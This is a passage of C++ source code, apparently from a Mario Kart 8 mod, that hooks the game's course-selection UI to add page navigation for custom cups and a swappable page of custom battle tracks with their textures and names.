sizeof(nw::lyt::TextureInfo)); 94 | nw::lyt::LoadTexture(rightTextureInfo, rightTexture, outSize); 95 | 96 | controlL1->setTexture(controlL1->findPane("P_CupIcon_00"), leftTextureInfo, 1); 97 | controlL2->setTexture(controlL2->findPane("P_CupIcon_00"), leftTextureInfo, 1); 98 | 99 | controlR1->setTexture(controlR1->findPane("P_CupIcon_00"), rightTextureInfo, 1); 100 | controlR2->setTexture(controlR2->findPane("P_CupIcon_00"), rightTextureInfo, 1); 101 | 102 | memcpy(ctgp::CUP0Instance->trackNamesMod, ctgp::CUP0Instance->trackNames, sizeof(ctgp::CUP0Instance->trackNamesMod)); 103 | memcpy(ctgp::CUP0Instance->cupMessageIdSave, ctgp::CUP0Instance->cupMessageId, sizeof(ctgp::CUP0Instance->cupMessageIdSave)); 104 | 105 | return 1; 106 | } 107 | 108 | void* cupIconsBflimData[12] = { 0 }; 109 | const char* cupNamesInternal[] = { "Mushroom", "Flower", "Star", "Special", "Shell", "Banana", "Leaf", "Thunder", "DLC02", "DLC03", "DLC04", "DLC05" }; 110 | void loadPage() { 111 | if (ctgp::CoursePatchInstance->m_CurrentPageNum == 0) { 112 | memcpy(ctgp::CUP0Instance->cupMessageId, ctgp::CUP0Instance->cupMessageIdSave, sizeof(ctgp::CUP0Instance->cupMessageIdSave)); 113 | for (int i = 0; i < 8; i++) { 114 | ctgp::CUP0Instance->cupBflimFile[i]->texture.surface.image_data = ctgp::CUP0Instance->cupBflimFileSave[i].texture.surface.image_data; 115 | ctgp::CUP0Instance->cupBflimFile[i]->texture.surface.swizzle = ctgp::CUP0Instance->cupBflimFileSave[i].texture.surface.swizzle; 116 | } 117 | } else { 118 | int pageId = ctgp::CoursePatchInstance->m_CurrentPageNum - 1; 119 | for (int i = 0; i < 8; i++) { 120 | if (ctgp::CUP0Instance->pages[pageId]->pageCustomCups[i]) { 121 | ctgp::CUP0Instance->cupBflimFile[i]->texture.surface.image_data = ctgp::CUP0Instance->pages[pageId]->cupBflimFile[i]->texture.surface.image_data; 122 | ctgp::CUP0Instance->cupBflimFile[i]->texture.surface.swizzle = ctgp::CUP0Instance->pages[pageId]->cupBflimFile[i]->texture.surface.swizzle; 123 | } 124 | } 125 | } 126 | } 127 | 128 | void decrement_page() { 129 | 130 | if (ctgp::CoursePatchInstance->m_CurrentPageNum == 0) 131 | ctgp::CoursePatchInstance->m_CurrentPageNum = ctgp::CUP0Instance->numPages; 132 | else 133 | ctgp::CoursePatchInstance->m_CurrentPageNum--; 134 | 135 | loadPage(); 136 | } 137 | 138 | void increment_page() { 139 | 140 | if (ctgp::CoursePatchInstance->m_CurrentPageNum == (int)ctgp::CUP0Instance->numPages) 141 | ctgp::CoursePatchInstance->m_CurrentPageNum = 0; 142 | else 143 | ctgp::CoursePatchInstance->m_CurrentPageNum++; 144 | 145 | loadPage(); 146 | } 147 | 148 | void ctgp::CoursePatch::LoadPage() { 149 | loadPage(); 150 | } 151 | 152 | /* 153 | 154 | Cursor input: 155 | 156 | 0 0010 0000 (32) -> Up 157 | 0 0100 0000 (64) -> Bottom 158 | 0 1000 0000 (128) -> Left 159 | 1 0000 0000 (256) -> Right 160 | 161 | */ 162 | 163 | DECL_CXX_HOOK(int, ui::UICursorLink::next, ui::UICursorLink* link, unsigned int input, int currentPos) { 164 | 165 | if (ui::Page_CourseGP::getPage()->cursor->cursorLink == link) { 166 | link->field_08 = 8; 167 | if (input == 128 && currentPos == 0) { 168 | decrement_page(); 169 | return -1; 170 | } else if (input == 256 && currentPos == 7) { 171 | increment_page(); 172 | return -1; 173 | } else if (input == 256 && currentPos == 15) { 174 | increment_page(); 175 | return -1; 176 | } else if (input == 128 && currentPos == 8) { 177 | decrement_page(); 178 | return -1; 179 | } 180 | } 181 | 182 | return real(link, input, currentPos); 183 | } 184 | 185 | std::vector> customBattleTracks; 186 | std::vector backupPageBattle; 187 | void handle_battle_swap() { 188 | 189 | ui::Page_CourseBattle* page = ui::Page_CourseBattle::getPage(); 190 | 191 | if (ctgp::CoursePatchInstance->m_CustomBattle && backupPageBattle.size() != 8) { 192 | backupPageBattle.clear(); 193 | for (int i = 0; i < 8; i++) { 194 | backupPageBattle.push_back(*page->m_CourseButtons[i]); 195 | } 196 | } 197 | 198 | if (ctgp::CoursePatchInstance->m_CustomBattle) { 199 | for (int i = 0; i < 8; i++) { 200 | DBG_LOG("%d: %d %s\n", i, page->m_CourseButtons[i]->courseId, ctgp::CUP0Instance->trackNames[page->m_CourseButtons[i]->courseId]); 201 | const char* path; 202 | nw::lyt::TextureInfo* textureInfo; 203 | std::tie(path, textureInfo) = customBattleTracks[i]; 204 | ui::Control_CourseButton* button = page->m_CourseButtons[i]; 205 | button->setTexture(button->coursePictPane, textureInfo, 1); 206 | button->setVisible(button->coursePictPane, 1); 207 | button->setVisible(button->courseMoviePane, 0); 208 | button->setMessage(button->courseNameTextPane, DELUXE_RETRO_BT_IDs + i); 209 | button->setVisible(button->classicNameTextPane, 1); 210 | button->setMessage(button->classicNameTextPane, DELUXE_RETRO_MSG_ID); 211 | ctgp::CUP0Instance->trackNamesMod[button->courseId] = (char*)path; 212 | } 213 | } 214 | 215 | if (!ctgp::CoursePatchInstance->m_CustomBattle) { 216 | for (int i = 0; i < 8; i++) { 217 | *page->m_CourseButtons[i] = backupPageBattle[i]; 218 | ctgp::CUP0Instance->trackNamesMod[page->m_CourseButtons[i]->courseId] = nullptr; 219 | 220 | ui::Heap_Common* heap = ui::Heap_Common::getHeap(); 221 | for (int cupIdx = 0; cupIdx < 12; cupIdx++) { 222 | for (int trackIdx = 0; trackIdx < 8; trackIdx++) { 223 | if (heap->courseData->courseList.cups[cupIdx].courses[trackIdx].id == page->m_CourseButtons[i]->courseId) { 224 | page->m_CourseButtons[i]->setCourse(&heap->courseData->courseList.cups[cupIdx].courses[trackIdx], nullptr); 225 | break; 226 | } 227 | } 228 | } 229 | } 230 | } 231 | } 232 | 233 | DECL_CXX_HOOK(int, ui::CursorLink_CourseMatrix::next, ui::CursorLink_CourseMatrix* _this, uint32_t input, int currentPos) { 234 | 235 | if (ui::Page_CourseBattle::getPage()->cursor->cursorLink == _this) { 236 | if (input == 128 && currentPos == 0) { 237 | ctgp::CoursePatchInstance->m_CustomBattle = !ctgp::CoursePatchInstance->m_CustomBattle; 238 | handle_battle_swap(); 239 | return -1; 240 | } else if (input == 256 && currentPos == 5) { 241 | ctgp::CoursePatchInstance->m_CustomBattle = !ctgp::CoursePatchInstance->m_CustomBattle; 242 | handle_battle_swap(); 243 | return -1; 244 | } else if (input == 256 && currentPos == 11) { 245 | ctgp::CoursePatchInstance->m_CustomBattle = !ctgp::CoursePatchInstance->m_CustomBattle; 246 | handle_battle_swap(); 247 | return -1; 248 | } else if (input == 128 && currentPos == 6) { 249 | ctgp::CoursePatchInstance->m_CustomBattle = !ctgp::CoursePatchInstance->m_CustomBattle; 250 | handle_battle_swap(); 251 | return -1; 252 | } 253 | } 254 | 255 | return real(_this, input, currentPos); 256 | } 257 | 258 | void changeCourseButtons(ui::Page_Course* page, int cupId) { 259 | 260 | ui::Heap_Common* heap = ui::Heap_Common::getHeap(); 261 | if (ctgp::CoursePatchInstance->m_CurrentPageNum > 0 && cupId < 8 && ctgp::CUP0Instance->pages[ctgp::CoursePatchInstance->m_CurrentPageNum - 1]->pageCustomCups[cupId]) { 262 | for (int i = 0; i < 4; i++) { 263 | page->courseBtn[i]->setTexture(page->courseBtn[i]->coursePictPane, 264 | ctgp::CUP0Instance->pages[ctgp::CoursePatchInstance->m_CurrentPageNum - 1]->trackBflimFiles[cupId][i], 1); 265 | page->courseBtn[i]->setVisible(page->courseBtn[i]->coursePictPane, 1); 266 | page->courseBtn[i]->setVisible(page->courseBtn[i]->courseMoviePane, 0); 267 | page->courseBtn[i]->setMessage(page->courseBtn[i]->courseNameTextPane, 268 | ctgp::CUP0Instance->pages[ctgp::CoursePatchInstance->m_CurrentPageNum - 1]->trackNames[cupId][i]); 269 | if (ctgp::CUP0Instance->pages[ctgp::CoursePatchInstance->m_CurrentPageNum - 1]->retroTrackNames[cupId][i] > 0) { 270 | page->courseBtn[i]->setVisible(page->courseBtn[i]->classicNameTextPane, 1); 271 | page->courseBtn[i]->setMessage(page->courseBtn[i]->classicNameTextPane, 272 | ctgp::CUP0Instance->pages[ctgp::CoursePatchInstance->m_CurrentPageNum - 1]->retroTrackNames[cupId][i]); 273 | } else { 274 | page->courseBtn[i]->setVisible(page->courseBtn[i]->classicNameTextPane, 0); 275 | } 276 | page->mainControl->setMessage(page->cupNameTextPane, ctgp::CUP0Instance->pages[ctgp::CoursePatchInstance->m_CurrentPageNum - 1]->cupName[cupId]); 277 | ctgp::CUP0Instance->trackNamesMod[heap->courseData->courseList.cups[cupId].courses[i].id] = 278 | ctgp::CUP0Instance->pages[ctgp::CoursePatchInstance->m_CurrentPageNum - 1]->trackPaths[cupId][i]; 279 | } 280 | } 281 | 282 | if (ctgp::CoursePatchInstance->m_CurrentPageNum == 0) { 283 | for (int i = 0; i < 4; i++) { 284 | ctgp::CUP0Instance->trackNamesMod[heap->courseData->courseList.cups[cupId].courses[i].id] = nullptr; 285 | } 286 | } 287 | } 288 | 289 | DECL_CXX_HOOK(int, ui::Page_CourseBattle::onHandler, ui::Page_CourseBattle* _this, ui::UIEvent* event) { 290 | 291 | for (int i = 0; i < 8; i++) { 292 | if (_this->m_CourseButtons[i] == event->cursor_event.m_SourceControl) { 293 | event->cursor_event.m_ControlId = i; 294 | break; 295 | } 296 | } 297 | 298 | return real(_this, event); 299 | } 300 | 301 | DECL_CXX_HOOK(int, ui::Page_CourseGP::onHandler, ui::Page_CourseGP* _this, ui::UIEvent* event) { 302 | 303 | for (int i = 0; i < 12; i++) { 304 | if (_this->cupIcons[i] == event->cursor_event.m_SourceControl) { 305 | event->cursor_event.m_ControlId = i; 306 | break; 307 | } 308 | } 309 | 310 | int ret = real(_this, event); 311 | changeCourseButtons(_this, ui::Heap_Common::getHeap()->courseData->courseRelatedData.currentlySelectedCup); 312 | return ret; 313 | } 314 | 315 | DECL_CXX_HOOK(int, ui::Page_Course44::onHandler, ui::Page_Course* _this, ui::UIEvent* event) { 316 | int ret = real(_this, event); 317 | changeCourseButtons(_this, ui::Heap_Common::getHeap()->courseData->courseRelatedData.currentlySelectedCup); 318 | return ret; 319 | } 320 | 321 | DECL_CXX_HOOK(int, ui::Page_Course63::onHandler, ui::Page_Course* _this, ui::UIEvent* event) { 322 | int ret = real(_this, event); 323 | changeCourseButtons(_this, ui::Heap_Common::getHeap()->courseData->courseRelatedData.currentlySelectedCup); 324 | return ret; 325 | } 326 | 327 | DECL_CXX_HOOK(void*, nw::lyt::MultiArcResourceAccessor::GetResource, nw::lyt::MultiArcResourceAccessor* _this, uint32_t resId, const char* path, uint32_t* out_size) { 328 | void* resource = real(_this, resId, path, out_size); 329 | if (resId == 0x74696D67) { 330 | if (strstr(path, "CupIcon")) { 331 | char* outName = (char*)calloc(1, 256); 332 | sscanf(path, "ym_CupIcon%s^h.bflim", outName); 333 | char* offset = strstr(outName, "^h.bflim"); 334 | if (!offset) { 335 | free(outName); 336 | return resource; 337 | } 338 | outName[offset - outName] = 0; 339 | for (int i = 0; i < 12; i++) { 340 | if (strcmp(cupNamesInternal[i], outName) == 0) { 341 | cupIconsBflimData[i] = resource; 342 | free(outName); 343 | return resource; 344 | } 345 | } 346 | } 347 | } 348 | 349 | return resource; 350 | } 351 | 352 | DECL_CXX_HOOK(int, nw::lyt::LoadTexture, nw::lyt::TextureInfo* textureInfo, const void* filePtr, uint32_t size) { 353 | int ret = real(textureInfo, filePtr, size); 354 | for (int i = 0; i < 12; i++) { 355 | if (cupIconsBflimData[i] == filePtr) { 356 | ctgp::CUP0Instance->cupBflimFile[i] = textureInfo; 357 | memcpy(&ctgp::CUP0Instance->cupBflimFileSave[i], textureInfo, sizeof(nw::lyt::TextureInfo)); 358 | break; 359 | } 360 | } 361 | return ret; 362 | } 363 | 364 | bool Global_ButtonHandler(ui::Control_Button* _this, ui::UIEvent* event) { 365 | for (auto& [pageId, ent] : ctgp::CoursePatchInstance->m_ButtonHolders) { 366 | if (pageId == _this->ownerPage->pageID) { 367 | if (_this == ent.controlL1 || _this == ent.controlL2 || _this == ent.controlR1 || _this == ent.controlR2) { 368 | audio::utl::startSound2D("SE_SYS_CMN_CURSOR"); 369 | if (event->m_InputValue <= 1) { 370 | return true; 371 | } 372 | break; 373 | } 374 | } 375 | } 376 | 377 | return false; 378 | } 379 | 380 | /* 381 | 382 | Cursor input: 383 | 384 | 0 0010 0000 (32) -> Up 385 | 0 0100 0000 (64) -> Bottom 386 | 0 1000 0000 (128) -> Left 387 | 1 0000 0000 (256) -> Right 388 | 389 | */ 390 | 391 | DECL_CXX_HOOK(int, ui::UICursor::next_, ui::UICursor* _this, int r4, int r5, unsigned int input) { 392 | 393 | int next = real(_this, r4, r5, input); 394 | 395 | ui::UIPageManager* pageMgr = ui::UIEngine::getSpInstance()->pageManager; 396 | for (int j = 0; j < pageMgr->layouts.mSize; j++) { 397 | if (pageMgr->layouts.mBuffer[j] && pageMgr->layouts.mBuffer[j]->cursor == _this && 398 | (pageMgr->layouts.mBuffer[j]->pageID == 44 || (pageMgr->layouts.mBuffer[j]->pageID == 63 && ctgp::GlobalPatchInstance->getOnlineToggle()))) { 399 | 400 | if (_this->playerCursors[0].cursorPosition == 0 && input == 128) 401 | return 16; 402 | else if (_this->playerCursors[0].cursorPosition == 16 && input == 256) 403 | return 0; 404 | 405 | if (_this->playerCursors[0].cursorPosition == 6 && input == 128) 406 | return 18; 407 | else if (_this->playerCursors[0].cursorPosition == 18 && input == 256) 408 | return 6; 409 | 410 | if (_this->playerCursors[0].cursorPosition == 5 && input == 256) 411 | return 17; 412 | else if (_this->playerCursors[0].cursorPosition == 17 && input == 128) 413 | return 5; 414 | 415 | if (_this->playerCursors[0].cursorPosition == 11 && input == 256) 416 | return 19; 417 | else if (_this->playerCursors[0].cursorPosition == 19 && input == 128) 418 | return 11; 419 | 420 | if (input == 128 && _this->playerCursors[0].cursorPosition == 16) { 421 | decrement_page(); 422 | return -1; 423 | } else if (input == 256 && _this->playerCursors[0].cursorPosition == 17) { 424 | increment_page(); 425 | return -1; 426 | } else if (input == 256 && _this->playerCursors[0].cursorPosition == 19) { 427 | increment_page(); 428 | return -1; 429 | } else if (input == 128 && _this->playerCursors[0].cursorPosition == 18) { 430 | decrement_page(); 431 | return -1; 432 | } 433 | } 434 | } 435 | 436 | return next; 437 | } 438 | 439 | ui::Control_Button* changeBattlePageBtn = nullptr; 440 | DECL_CXX_HOOK(void, ui::Page_CourseBattle::onCreate, ui::Page_CourseBattle* _this) { 441 | 442 | if (!ctgp::CoursePatchInstance->m_ButtonHolders.contains(_this->pageID)) { 443 | CupButtonHolder buttonHolder; 444 | buttonHolder.controlL1 = new ui::Control_CupButton(1); 445 | buttonHolder.controlL2 = new ui::Control_CupButton(1); 446 | buttonHolder.controlR1 = new ui::Control_CupButton(1); 447 | buttonHolder.controlR2 = new ui::Control_CupButton(1); 448 | ctgp::CoursePatchInstance->m_ButtonHolders.insert(std::make_pair(_this->pageID, buttonHolder)); 449 | } 450 | 451 | ui::Control_CupButton* controlL1 = ctgp::CoursePatchInstance->m_ButtonHolders[_this->pageID].controlL1; 452 | ui::Control_CupButton* controlL2 = ctgp::CoursePatchInstance->m_ButtonHolders[_this->pageID].controlL2; 453 | 454 | ui::Control_CupButton* controlR1 = ctgp::CoursePatchInstance->m_ButtonHolders[_this->pageID].controlR1; 455 | ui::Control_CupButton* controlR2 = ctgp::CoursePatchInstance->m_ButtonHolders[_this->pageID].controlR2; 456 | 457 | controlL1->cupId = 12; 458 | controlL2->cupId = 12; 459 | controlR1->cupId = 13; 460 | controlR2->cupId = 13; 461 | 462 | ui::UIControl* bflyt = new ui::UIControl(); 463 | _this->loadControl_(bflyt, 5, "mn_BattleCourseSlct_00.bflyt"); 464 | 465 | _this->m_BattleCourseBflyt = bflyt; 466 | if (!bflyt->parentControl) 467 | bflyt->flags |= 0x100u; 468 | 469 | ui::UIAnimator* animator = _this->createAnimator(0, bflyt, 1); 470 | animator->bind(0, "RandomBtnOnOff"); 471 | 472 | char control_str[] = "L_Course_00"; 473 | 474 | _this->createControl_(controlL1, bflyt, "L_Course_08"); 475 | 476 | for (int i = 0; i < 4; i++) { 477 | control_str[10] = '0' + i; 478 | ui::Control_CourseButton* button = new ui::Control_CourseButton(0); 479 | button->flow = (ui::UIFlow*)&_this->m_FlowOpen0; 480 | button->field_00 = i + 1; 481 | _this->createControl_(button, bflyt, control_str); 482 | _this->m_CourseButtons[i] = button; 483 | } 484 | 485 | _this->createControl_(controlR1, bflyt, "L_Course_09"); 486 | _this->createControl_(controlL2, bflyt, "L_Course_08"); 487 | 488 | for (int i = 4; i < 8; i++) { 489 | control_str[10] = '0' + i; 490 | ui::Control_CourseButton* button = new ui::Control_CourseButton(0); 491 | button->flow = (ui::UIFlow*)&_this->m_FlowOpen0; 492 | button->field_00 = i + 3; 493 | _this->createControl_(button, bflyt, control_str); 494 | _this->m_CourseButtons[i] = button; 495 | } 496 | 497 | _this->createControl_(controlR2, bflyt, "L_Course_09"); 498 | 499 | controlL1->field_00 = 0; 500 | controlR1->field_00 = 5; 501 | controlL2->field_00 = 6; 502 | controlR2->field_00 = 11; 503 | 504 | // 6x2 matrix from the original 4x2 505 | _this->m_CourseMatrix = new ui::CursorLink_CourseMatrix(); 506 | _this->m_CourseMatrix->m_SizeX = 6; 507 | _this->m_CourseMatrix->m_SizeY = 2; 508 | _this->m_CourseMatrix->field_1C = 0; 509 | 510 | void (*ui_UIControlSlider_push)(int _this, ui::UIControl* control) = (void (*)(int, ui::UIControl*))(0x025370A4 + MK8_TEXT_OFFSET); 511 | 512 | _this->cursor->setLink(_this->m_CourseMatrix); 513 | ui_UIControlSlider_push(_this->m_pUIControlSlider, bflyt); 514 | 515 | /* leftTexture and rightTexture guaranteed to be allocated and set since page 516 | * 43 onCreate happens before page 45 */ 517 | controlL1->setTexture(controlL1->findPane("P_CupIcon_00"), leftTextureInfo, 1); 518 | controlL2->setTexture(controlL2->findPane("P_CupIcon_00"), leftTextureInfo, 1); 519 | 520 | controlR1->setTexture(controlR1->findPane("P_CupIcon_00"), rightTextureInfo, 1); 521 | controlR2->setTexture(controlR2->findPane("P_CupIcon_00"), rightTextureInfo, 1); 522 | } 523 | 524 | void ctgp::CoursePatch::Initialize() { 525 | 526 | AddMessage((char16_t*)u"DX", DELUXE_RETRO_MSG_ID); 527 | 528 | AddMessage((char16_t*)u"Battle Stadium", DELUXE_RETRO_BT_IDs + 0); 529 | AddMessage((char16_t*)u"Sweet Sweet Kingdom", DELUXE_RETRO_BT_IDs + 1); 530 | AddMessage((char16_t*)u"Dragon Palace", DELUXE_RETRO_BT_IDs + 2); 531 | AddMessage((char16_t*)u"Lunar Colony", DELUXE_RETRO_BT_IDs + 3); 532 | AddMessage((char16_t*)u"Wuhu Town", DELUXE_RETRO_BT_IDs + 4); 533 | AddMessage((char16_t*)u"Luigi's Mansion", DELUXE_RETRO_BT_IDs + 5); 534 | AddMessage((char16_t*)u"Battle Course 1", DELUXE_RETRO_BT_IDs + 6); 535 | AddMessage((char16_t*)u"Urchin Underpass", DELUXE_RETRO_BT_IDs + 7); 536 | 537 | uint32_t outSize = 0; 538 | uint8_t* trackData = nullptr; 539 | nw::lyt::TextureInfo* textureInfo = nullptr; 540 | 541 | /* Battle Stadium entry */ 542 | trackData = GetArchiveFile("/vol/content/custom/cPict_GDx_BtStadium.bflim", &outSize, 0x1000); 543 | textureInfo = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 544 | nw::lyt::LoadTexture(textureInfo, trackData, outSize); 545 | customBattleTracks.push_back(std::make_tuple("Gu_BtStadium", textureInfo)); 546 | 547 | /* Sweet Sweet Kingdom entry */ 548 | trackData = GetArchiveFile("/vol/content/custom/cPict_GDx_BtSweetKingdom.bflim", &outSize, 0x1000); 549 | textureInfo = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 550 | nw::lyt::LoadTexture(textureInfo, trackData, outSize); 551 | customBattleTracks.push_back(std::make_tuple("Gu_BtSweet", textureInfo)); 552 | 553 | /* Dragon Palace entry */ 554 | trackData = GetArchiveFile("/vol/content/custom/cPict_GDx_BtDragonPalace.bflim", &outSize, 0x1000); 555 | textureInfo = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 556 | nw::lyt::LoadTexture(textureInfo, trackData, outSize); 557 | customBattleTracks.push_back(std::make_tuple("Gu_BtDojo", textureInfo)); 558 | 559 | /* Lunar Colony entry */ 560 | trackData = GetArchiveFile("/vol/content/custom/cPict_GDx_BtLunarColony.bflim", &outSize, 0x1000); 561 | textureInfo = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 562 | nw::lyt::LoadTexture(textureInfo, trackData, outSize); 563 | customBattleTracks.push_back(std::make_tuple("Gu_BtMoon", textureInfo)); 564 | 565 | /* Wuhu Town entry */ 566 | trackData = GetArchiveFile("/vol/content/custom/cPict_GDx_BtWuhuTown.bflim", &outSize, 0x1000); 567 | textureInfo = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 568 | nw::lyt::LoadTexture(textureInfo, trackData, outSize); 569 | customBattleTracks.push_back(std::make_tuple("Gu_BtWuhuTown", textureInfo)); 570 | 571 | /* Luigi's Mansion entry */ 572 | trackData = GetArchiveFile("/vol/content/custom/cPict_GDx_BtLuigiMansion.bflim", &outSize, 0x1000); 573 | textureInfo = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 574 | nw::lyt::LoadTexture(textureInfo, trackData, outSize); 575 | customBattleTracks.push_back(std::make_tuple("Gu_BtLuigiMansion", textureInfo)); 576 | 577 | /* Battle Course 1 entry */ 578 | trackData = GetArchiveFile("/vol/content/custom/cPict_GDx_BtBattleCourse1.bflim", &outSize, 0x1000); 579 | textureInfo = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 580 | nw::lyt::LoadTexture(textureInfo, trackData, outSize); 581 | customBattleTracks.push_back(std::make_tuple("Gu_BtBattle1", textureInfo)); 582 | 583 | /* Urchin Underpass entry */ 584 | trackData = GetArchiveFile("/vol/content/custom/cPict_GDx_BtUrchin.bflim", &outSize, 0x1000); 585 | textureInfo = (nw::lyt::TextureInfo*)calloc(1, sizeof(nw::lyt::TextureInfo)); 586 | nw::lyt::LoadTexture(textureInfo, trackData, outSize); 587 | customBattleTracks.push_back(std::make_tuple("Gu_BtDekaLine", textureInfo)); 588 | 589 | ctgp::CUP0::createInstance(); 590 | ctgp::GlobalPatchInstance->RegisterButtonHandlerRedirection(GLOBAL_PAGE_ID, Global_ButtonHandler); 591 | 592 | MK8_HOOK_CXX_FUNC(0x025B9680, ui::Page_Course::LoadPanes); 593 | MK8_HOOK_CXX_FUNC(0x02538B2C, ui::UICursorLink::next); 594 | MK8_HOOK_CXX_FUNC(0x025BD0E0, ui::Page_CourseBattle::onHandler); 595 | MK8_HOOK_CXX_FUNC(0x025BBD18, ui::Page_CourseGP::onHandler); 596 | MK8_HOOK_CXX_FUNC(0x025BC24C, ui::Page_Course44::onHandler); 597 | MK8_HOOK_CXX_FUNC(0x025FDCF8, ui::Page_Course63::onHandler); 598 | MK8_HOOK_CXX_FUNC(0x02694B70, nw::lyt::MultiArcResourceAccessor::GetResource); 599 | MK8_HOOK_CXX_FUNC(MK8_NW_LYT_LOAD_TEXTURE, nw::lyt::LoadTexture); 600 | MK8_HOOK_CXX_FUNC(0x02537CE0, ui::UICursor::next_); 601 | MK8_HOOK_CXX_FUNC(0x02544F10, ui::CursorLink_CourseMatrix::next); 602 | MK8_HOOK_CXX_FUNC(0x025BC8D8, ui::Page_CourseBattle::onCreate); 603 | 604 | Write32((uint32_t*)(0x025BBB9C + 0x0C180000), PowerPC_LI(gpr11, 8)); 605 | Write32((uint32_t*)(0x025BC3BC + 0x0C180000), PowerPC_LI(gpr5, 14)); 606 | 607 | CoursePatchInstance = this; 608 | } --------------------------------------------------------------------------------